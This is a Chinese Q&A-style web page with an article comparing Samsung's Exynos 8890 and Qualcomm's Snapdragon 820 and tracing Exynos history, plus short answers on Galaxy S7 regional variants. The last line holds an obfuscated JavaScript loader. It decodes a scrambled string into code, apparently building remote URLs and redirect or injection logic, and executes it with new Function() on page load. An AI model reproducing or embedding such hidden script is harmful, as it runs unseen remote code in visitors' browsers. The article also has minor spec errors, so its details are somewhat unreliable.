推荐回答(5个)
三星全新旗舰手机Galaxy S7/S7 edge将会在北京时间2月22号的凌晨1点发布,S7/S7 edge身上有许多亮点,例如双曲面Super AMOLED屏幕,IP68级别的三防功能,佳能全像素双核传感器技术等等,这确实能给用户不少全新的体验。而硬件配置作为良好体验的基础,旗舰的Galaxy S7/S7 edge又怎能落后呢?关于三星自主设计/制造的处理器,你又知多少呢?今天,笔者和大家一起聊聊三星处理器的发展历程,以及Galaxy S7/S7 edge的“大脑”:Exynos 8890与骁龙820。
三星自主处理器的发展道路
三星作为半导体领域的IDM厂商,其自身具备IC的设计能力以及生产能力。三星移动处理器(以下简称为Soc)发展至今已经经历了15个年头,其中不少经典的移动产品像iPhone 1代、iPod nano 2都搭载有三星的Soc。除了Soc之外,三星的产业(移动设备内)还涉及到多方面的设计制造,例如手机上的LPDDR3/4 RAM、eMMC/UFS标准的ROM芯片、OLED屏幕、摄像头模块等等,是全球仅有的一家核心部件自给自足的手机厂商。当然,以上提及到的产品都可以出售,三星也有自己的晶圆生产基地,用于自家芯片的生产以及别家Fabless厂商的芯片代工,例如苹果A9处理器,高通骁龙820处理器等等。关于IDM与Fabless的区别请点击:
Exynos 4210/4212:三星首款双核处理器
Exynos 4210/4212有一个为人熟悉的名字:猎户座,其首次搭载在三星首款双核手机:Galaxy S2(I9100)上,虽然这款神机年事已高,但CM团队甚至为其推出了Android 6.0的Nightlies版本。Exynos 4210采用45nm制程节点制造,内置两颗1.2GHz的arm Cortex-A9核心,集成Mali T400 GPU,支持LPDDR2/3内存,支持30fps/1080p的高清拍摄回放,性能不弱于同期的高通MSM8260以及Nvidia的Tegra 2。
Galaxy S2
除了Galaxy S2,这款处理器也搭载在Galaxy Note以及魅族MX上面。而之后的Exynos 4212更是升级到32nm HKMG制程工艺,主频提高到1.5GHz。
Exynos 4412:四核心Cortex-A9架构
虽然Exynos 4412同样采用4210/4212上的Cortex-A9核心,但32nm HKMG的制程工艺却让Cortex-A9发挥得更完美,以至于Exynos 4412内置4核A9在性能以及功耗上都取得了更好的平衡,GPU方面Exynos 4412依然集成Mali T400,同样支持当时最高规格的LPDDR3,整体性能上和高通Snapdragon S4不相上下,但功耗控制却比S4更优秀。
Galaxy S3
Exynos 4412搭载在Galaxy S3上面,而Galaxy Note2、魅族MX2同样采用这款处理器。
Exynos 7420:更争气的A57+A53架构
Exynos 7420搭载在Galaxy S6系列机型上,是三星首款14nm FinFET LPE工艺的处理器产品,其内置4*A57+4*A53核心,A57主频高达2.1GHz,集成Mali T760 GPU,也是三星首款支持LPDDR4内存的Soc,因为基于14nm LPE工艺,Exynos 7420性能强劲之余也非常火热,但已经比隔壁家的要好。
Galaxy S6 edge+
当然,除了上述的3款处理器之外,三星还有相当多值得一提的经典处理器,例如业界首款采用Cortex-A15内核的双核Exynos 5250/四核Exynos 5410,与骁龙810同为A57+A53核心的Exynos 5433。考虑到文章篇幅过长,笔者就不一一解析了。而Exynos 8890作为三星2016年旗舰Soc,它到底是怎样的呢?莫慌,继续往下看。
Galaxy S7处理器有多少个版本
据悉,三星Galaxy S7拥有两个处理器的版本,分别搭载了Exynos 8890以及高通820。而更有消息指国行S7采用的是高通骁龙820版本,而国际版采用的是Exynos 8890,这可能是因为1.国行有电信CDMA制式,而高通820内置的基带以及捆绑的射频芯片组支持全网通,三星也就免去了像Galaxy S6外挂高通基带实现全网通的麻烦事,2.高通骁龙820采用三星14nm FinFET LPP制程工艺制造,换句话来说就是不热了,三星也更愿意使用骁龙820。
Exynos 8890/骁龙820参数解析
Exynos 8890
三星旗舰Soc,Exynos 8890基于三星14nm FinFET LPP工艺,在制程节点上与上代旗舰Exynos 7420相同,而工艺则从FinFET LPE升级到LPP,拥有更低的漏电率,主频也能进一步拉高。而架构方面,8890内置4*Mongoose+4*A53核心,前面4个Mongoose内核默频可达2.3GHz(超频可达2.5GHz)用于提高性能,后面4个A53核心默频为1.56GHz(超频可达2.2GHz)用于兼顾功耗。而GPU方面则为Mali T880mp12(据悉存在配备mp16的版本)。
Exynos 8890
而内存方面依旧为双通道的LPDDR4,值得一提的是Exynos 8890首次集成了基带,下行支持Cat 12,理论速度达到600Mbps,而上行也支持到Cat 13,理论速度达到150Mbps。是三星自主处理器的又一里程碑。
骁龙820
高通旗舰Soc,同样基于三星14nm FinFET LPP工艺,内置4*Kryo自主核心,其中2颗主频为2.2GHz,另外两颗主频为1.7GHz,形成尺寸一样但频率不同的“大小核心”。GPU方面则是Adreno 530,支持OpenGL ES3.1+,为游戏开发商提供功能更多的API接口。另外,为了兼顾功耗,骁龙820集成了低功耗的Hexagon 680 DSP协处理器,除了协助CPU/GPU运算之外,还用以处理长挂模块(如GPS卫星)的运算工作,手机安全防护功能等等。
骁龙820
内存则为双通道LPDDR4,内置的X12 LTE基带支持下行三载波聚合,上行双载波聚合技术,下行速度达到600Mbps,采用256 QAM射频标准,达Cat 12,而上行则达到150Mbps,达到Cat 13标准。配合RF360前端射频芯片组,支持全网通、LTE-U、VoLTE等最新技术。支持QC3.0快速充电。
Exynos 8890/骁龙820 性能表现
结果来自Geekbench数据库与GFXbench(全为Offscreen)数据库。
搭载上述两款Soc的机型还没开卖,所以仅能通过理论跑分成绩来说明两者的性能表现。单从数据上看来,Exynos 8890的单核性能与骁龙820相当,但毕竟前者有8个物理核心,后者只有4个,所以在多核性能表现上Exynos 8890领先于骁龙820达26.1%,但GPU方面,骁龙820集成的Adreno 530似乎理论上比Exynos 8890的Mali T880mp12更强,但两者的差距并不是特别大,相信骁龙820能流畅玩的游戏,Exynos 8890也不会出现卡顿,但这也取决于具体游戏对两款GPU的优化情况。
Car Chase
Manhattan 3.1
Manhattan
T-Rex
而随着这两款Soc的机型大量出货,其驱动以及软件/游戏的优化也会陆续跟上,相信具体性能会继续往上攀升。
Exynos 8890/骁龙820 发热表现
可能很多朋友会对这两款处理器产生疑问,这么强大的处理器,发热怎么样。鉴于笔者手上也没有搭载这两款处理器的相应机型,所以具体发热状况暂且不妄下定论。但它们同时采用14nm FinFET LPP工艺制造,相信发热“理论”上会得到控制,究竟FinFET是什么?它又有什么作用呢?笔者来简单阐述一下。
FinFET显微图
其实早在10多年前,就有人提出FinFET这个结构,FinFET主要重新设计了晶体管里面的S/D两级以及最为关键的Gate结构(什么是S/D/Gate今天不说,不然文章起码要多2000字),让Gate对通/断的控制力更强,也就是在更先进的制程节点上,减少S/D两级之间的漏电流,而漏电流会直接影响处理器的功耗。而骁龙810的20nm HKMG工艺,就是Gate控制力低下(对于20nm节点),导致漏电问题严重,所以发热以及功耗得不到良好的控制。
FinFET工艺示意图
而台积电/三星在16nm/14nm节点上都使用了FinFET技术,增强了Gate对S/D的控制力,减少漏电流。此外,随着三星14nm FinFET LPE过渡到LPP工艺的成熟,良品率会逐渐上升,成本慢慢下降,也利于三星在晶圆的制造过程中使用更好的工艺去控制功耗。
Exynos 8890与骁龙820的发热情况本站将会进行相应的测试。
总结:超便携移动穿戴设备更值得关注
搭载Exynos 8890的Galaxy S7即将发布。另外,在15年12月的骁龙820亚洲首秀上,高通表示已经有超过70款终端采用这颗处理器,相信到现在已经突破了这一数字。
高通/三星/联发科
而联发科方面,搭载Helio X20/P20的手机也将在今年的第一季度上市,就国内市场看来,拥有十核心的Helio X20在宣传上确实会占到上风,而且X20也会陆续下放到高性价比的千元手机上,这样X20在同价位手机上将直接面对高通骁龙652/650,而高端市场则主要以骁龙820以及Exynos 8890为主。
另外,这几年可穿戴等便携移动终端的普及,台积电等fab厂商已经推出面向超低功耗市场的制程工艺,例如16nm FFC以及28nm HPC/HPC+。这也在考验着处理器厂商对自家产品线的规划,高通方面已经推出了14nm的骁龙625、28nm的骁龙435等低功耗处理器,联发科也发布了16nm的P20以及28nm的P10,这些处理器除了充当手机的“大脑”之外,还在对可穿戴/无人机市场进行试水。
Galaxy S7
而三星方面又会如何呢?传说中的14nm Exynos 7870表现又会怎样呢?我们还是好好等待吧!
三星S7和S7edge两个版本:
S7处理器为2.15GHz+1.6GHz,四核处理器。
S7 Edge处理器为2.15GHz+1.6GHz,四核处理器。型号:高通骁龙820处理器。
全球不同地区的三星Galaxy S7手机搭载不同的SOC,例如中国大陆国行三星S7搭载的是高通骁龙处理器,韩国等地区的三星S7搭载三星猎户座处理器。
如需了解三星目前较为热门的旗舰机型建议登陆三星官网进行查询参考
全球不同地区的三星Galaxy S7手机搭载不同的SOC,例如中国大陆国行三星S7搭载的是高通骁龙处理器,韩国等地区的三星S7搭载三星猎户座处理器。
如需了解三星产品及详细机型信息,请登陆三星官网点击右上角放大镜图标输入型号查询。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();